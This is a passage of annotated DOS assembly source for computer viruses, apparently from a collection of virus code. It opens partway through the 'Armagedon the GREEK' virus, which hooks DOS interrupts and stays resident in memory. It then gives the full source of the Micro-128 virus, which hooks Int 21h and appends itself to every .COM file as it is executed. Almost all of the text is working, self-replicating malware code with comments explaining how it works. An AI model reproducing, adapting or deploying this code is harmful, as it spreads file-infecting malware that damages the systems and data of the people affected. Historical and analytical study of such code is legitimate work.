21 Address int 21 mov word ptr [Int_21_Off],bx ;Save old Int 21 mov word ptr [Int_21_Seg],es ;Vector mov dx,offset Int_21 mov ax,2521 int 21 ;Set Int 21 mov ax,3508 int 21 ;Get Int 8 Address mov word ptr [Int_08_Off],bx mov word ptr [Int_08_Seg],es ;Save old Vectors mov dx,offset Int_08 mov ax,2508 int 21 ;Set Int 08 mov ah,2C int 21 ;Get Time mov byte ptr [save_time_a],ch mov byte ptr [save_time_b],cl ;Save Time and Date mov byte ptr [save_date],dh mov ax,cs:[2c] ;Get environment block mov ds,ax ;address and put it in DS xor si,si ;DS:SI=beginning of Env. B. Find_The_Filename: mov al,[si] ;Search through environment cmp al,1 ;block for program executed. je Found_Filename inc si jmp short Find_The_Filename Found_Filename: inc si inc si mov dx,si ;DS:DX = Filename mov ax,cs mov es,ax ;Set segment (ES) = CS mov bx,5a ;Request 5a0h (1440 dec) bytes mov ah,4a int 21 ;Change Allocated Memory mov bx,word ptr cs:[81] ;Beginning of Command Line mov ax,cs mov es,ax ;set ES=CS again. mov word ptr cs:[cs_save_1],ax mov word ptr cs:[cs_save_2],ax ;Re-Execute program mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause mov ax,4B00 ;program to go mem-res mov word ptr cs:[save_ss],ss ;without terminating mov word ptr cs:[save_sp],sp ;regular program. pushf ;call far cs:[Int_21_Off] ;Call Load and Execute db 2e,0ff,1e,22,01 mov ax,word ptr cs:[save_ss] mov ss,ax mov ax,word ptr cs:[save_sp] ;Restore Stack mov sp,ax mov ax,cs mov ds,ax mov dx,537 ;DX=End of virus int 27 ;Terminate & stay resident Already_Installed: mov ah,0E1 ;Get CS of virus in memory int 21 mov si,offset Install_Jump mov cs:[si+3],ax ;Setup Jump mov ax,offset After_Jump mov cs:[si+1],ax mov ax,word ptr cs:[file_size] mov bx,cs Install_Jump: db 0ea IP_For_Jump db 0,0 CS_For_Jump db 0,0 After_Jump: mov cx,ax mov ds,bx mov si,100 mov di,offset storage_bytes Restore_File: ;Restore File in memory mov al,[di] mov [si],al inc si inc di loop Restore_File mov si,offset return_jump mov cs:[si+3],ds ;set host segment mov al,byte ptr ds:[100] ;Get first byte of host, sub al,0bh ;then unencrypt first byte mov byte ptr ds:[100],al ;of Storage_Bytes mov ax,ds ;and restore it mov es,ax ;restore ES and SS to point mov ss,ax ;to DS/CS ;* jmp far ptr start ;Return control to COM file return_jump: db 0ea host_offset db 00,01 host_segment db 07,13 Text_Message db 'Armagedon the GREEK' end_main_virus: Storage_Bytes db 0D8,20 ;First Byte Encrypted end_of_vir: word_space db 8 dup (?) new_DTA : end start ;************************************************************************** ;*************************************************************************** ;* Micro-128 * ;*************************************************************************** ;* The Micro-128 virus was, for a while, the smallest known memory * ;*resident non-overwriting .COM infector. It copies itself onto the * ;*interrupt table and hooks Int 21h so that, while in memory, it stores * ;*Int 21's address in the Int E0 field. This allows it to simple call * ;*Int E0 when it wants an Int 21h. While it does have a few nice tricks * ;*in it to make it compact, it is a fairly simple virus and is easy to * ;*understand. * ;* * ;*Note: Micro-128 was originally assembled with an assembler other than * ;* my version of TASM, so to keep the bytes for XOR exactly the same * ;* all XOR's are entered directly, with their assembler commands * ;* commented out. * ;*************************************************************************** .model tiny .code org 100h start: db 0e9h,03h,0 ;Jmp Virus_Entry nop int 20h Virus_Entry: mov di,100h push di mov si,di add si,[di+1] ;Get offset movsw ;Restore Storage Bytes movsb Copy_Virus: ;xor ax,ax ;Set ES = 0 (Interrupt Table) db 31h, 0c0h mov es,ax mov di,303h ;Space in Int Table mov cl,7Dh ;Virus Size rep movsb ;Copy Virus. scasw ;ES:DI = 0? jnz Done_Install ;No, Already Installed. std ;Set direction flag so that ;stosw stores, then decrements ;SI and DI. Hook_Int_21: xchg ax,es:[di+0FD04h] ;DI+FD04h = 86h the first time, ;and 84h the second. These are ;Int 21h's Segment and Offset ;respectively. stosw ;Stores old handler to ;CS_21 and IP_21. mov ax,33Fh ;New offset of Int 21 Handler. cmc ;Complement carry jc Hook_Int_21 ;jump Hook_Int_21 cld ;Clear direction flag. Done_Install: push cs ;Return to Host. pop es ret Go_Beginning: mov al,0 ;Setup to go from beginning of ;file Move_FP: mov ah,42h ;Move File pointer ;xor cx,cx ;Zero Segment and Offset, db 31h,0c9h ;xor dx,dx ;Go to either beginning or end. db 31h,0d2h int 0E0h mov cl,3 ;Used to make code tighter. mov dh,3 retn db 0e9h,03h,0 ;Jump Inside_21 Int_21_Handler: cmp ah,4bh Inside_21: jnz Go_Int_21 ;Jump if not execute. push ax bx dx ds ;Save registers mov ax,3D02h ;Open File Read/Write int 0E0h jc Close_File mov bx,ax ;Move file handle to BX push cs pop ds call Go_Beginning ;Go to start of file mov ah,3Fh ;DX=300 CX=3 int 0E0h ;Read 3 bytes from file cmp byte ptr ds:[300h],'M' ;Is it an .EXE? je Close_File ;If so, close. dec ax ;AX = 2 (AX = 3 from read) call Move_FP ;Go to end of file. mov ds:[33dh],ax ;Save file length mov ah,40h ;Write virus to file mov cl,80h ;128 bytes. int 0E0h call Go_Beginning ;Go back to the beginning mov dl,3Ch ;and write in jump. mov ah,40h int 0E0h Close_File: mov ah,3Eh ;Close file int 0E0h pop ds dx bx ax Go_Int_21: db 0EAh IP_21 dw ? ;When in memory, these are CS_21 dw ? ;Located at the entry for ;Int E0h, making any call to ;that interrupt go to INT 21h. end start ;***************************************************************************